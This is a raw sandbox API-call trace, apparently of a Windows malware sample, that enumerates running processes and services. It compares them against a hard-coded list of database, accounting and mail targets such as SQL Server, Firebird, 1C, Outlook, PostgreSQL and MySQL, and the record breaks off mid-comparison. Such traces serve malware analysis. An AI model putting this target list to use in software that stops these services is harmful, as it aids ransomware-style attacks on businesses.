1 [0129.980] lstrlenW (lpString="svchost.exe") returned 11 [0129.980] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0129.980] lstrlenW (lpString="userinit.exe") returned 12 [0129.981] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.981] lstrlenW (lpString="dwm.exe") returned 7 [0129.981] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.981] lstrlenW (lpString="explorer.exe") returned 12 [0129.981] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0129.982] lstrlenW (lpString="3G6885.exe") returned 10 [0129.982] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0129.982] lstrlenW (lpString="reader_sl.exe") returned 13 [0129.982] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.982] lstrlenW (lpString="dllhost.exe") returned 11 [0129.982] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.983] lstrlenW (lpString="cmd.exe") returned 7 [0129.983] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.983] lstrlenW (lpString="conhost.exe") returned 11 [0129.983] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0129.984] CloseHandle (hObject=0x12c) returned 1 [0129.984] Sleep (dwMilliseconds=0x1f4) [0130.730] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x335dc0 [0130.735] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0130.736] GetLastError () returned 0xea [0130.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x36e7e8 [0130.736] EnumServicesStatusExW (in: hSCManager=0x335dc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36e7e8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36e7e8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0130.737] CloseServiceHandle (hSCObject=0x335dc0) returned 1 [0130.820] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.821] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.821] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.821] lstrlenW (lpString="AudioSrv") returned 8 [0130.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0130.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0130.821] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0130.821] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0130.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0130.821] lstrlenW (lpString="BFE") returned 3 [0130.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.821] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.821] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.821] lstrlenW (lpString="CryptSvc") returned 8 [0130.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.822] lstrlenW (lpString="CscService") returned 10 [0130.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0130.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0130.822] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0130.822] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0130.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0130.822] lstrlenW (lpString="DcomLaunch") returned 10 [0130.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.822] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.822] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.822] lstrlenW (lpString="Dhcp") returned 4 [0130.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.822] lstrlenW (lpString="Dnscache") returned 8 [0130.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.822] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.822] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.822] lstrlenW (lpString="DPS") returned 3 [0130.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.823] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.823] lstrlenW (lpString="eventlog") returned 8 [0130.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0130.823] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0130.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0130.823] lstrlenW (lpString="EventSystem") returned 11 [0130.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.823] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.823] lstrlenW (lpString="gpsvc") returned 5 [0130.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0130.823] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0130.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0130.823] lstrlenW (lpString="LanmanWorkstation") returned 17 [0130.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0130.823] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0130.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0130.823] lstrlenW (lpString="lmhosts") returned 7 [0130.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0130.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0130.823] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0130.824] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0130.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0130.824] lstrlenW (lpString="MMCSS") returned 5 [0130.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0130.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0130.824] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0130.824] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0130.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0130.824] lstrlenW (lpString="MpsSvc") returned 6 [0130.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0130.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0130.824] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0130.824] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0130.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0130.824] lstrlenW (lpString="NlaSvc") returned 6 [0130.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.824] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.824] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.824] lstrlenW (lpString="nsi") returned 3 [0130.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.824] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.824] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.825] lstrlenW (lpString="PcaSvc") returned 6 [0130.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.825] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.825] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.825] lstrlenW (lpString="PlugPlay") returned 8 [0130.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.825] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.825] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.825] lstrlenW (lpString="Power") returned 5 [0130.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.825] lstrlenW (lpString="ProfSvc") returned 7 [0130.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.825] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.825] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.825] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.825] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.825] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.826] lstrlenW (lpString="RpcSs") returned 5 [0130.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.826] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.826] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.826] lstrlenW (lpString="SamSs") returned 5 [0130.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.826] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.826] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.826] lstrlenW (lpString="Schedule") returned 8 [0130.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.826] lstrlenW (lpString="SENS") returned 4 [0130.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.826] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.826] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.826] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.826] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.826] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.827] lstrlenW (lpString="Spooler") returned 7 [0130.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.827] lstrlenW (lpString="Themes") returned 6 [0130.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0130.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0130.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0130.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0130.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0130.827] lstrlenW (lpString="UxSms") returned 5 [0130.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0130.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0130.827] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0130.827] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0130.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0130.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36e7e8 | out: hHeap=0x300000) returned 1 [0130.827] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0130.830] Process32FirstW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.831] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.831] lstrlenW (lpString="System") returned 6 [0130.831] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0130.831] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0130.831] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.832] lstrlenW (lpString="smss.exe") returned 8 [0130.832] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0130.832] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.832] lstrlenW (lpString="csrss.exe") returned 9 [0130.832] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0130.832] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0130.832] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0130.832] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0130.832] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0130.832] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0130.832] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.833] lstrlenW (lpString="wininit.exe") returned 11 [0130.833] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0130.833] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0130.833] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.833] lstrlenW (lpString="csrss.exe") returned 9 [0130.833] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0130.833] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0130.833] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0130.833] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0130.834] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0130.834] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0130.834] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0130.834] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.834] lstrlenW (lpString="winlogon.exe") returned 12 [0130.834] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0130.834] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0130.834] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.834] lstrlenW (lpString="services.exe") returned 12 [0130.835] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0130.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0130.835] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.835] lstrlenW (lpString="lsass.exe") returned 9 [0130.835] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0130.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0130.835] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 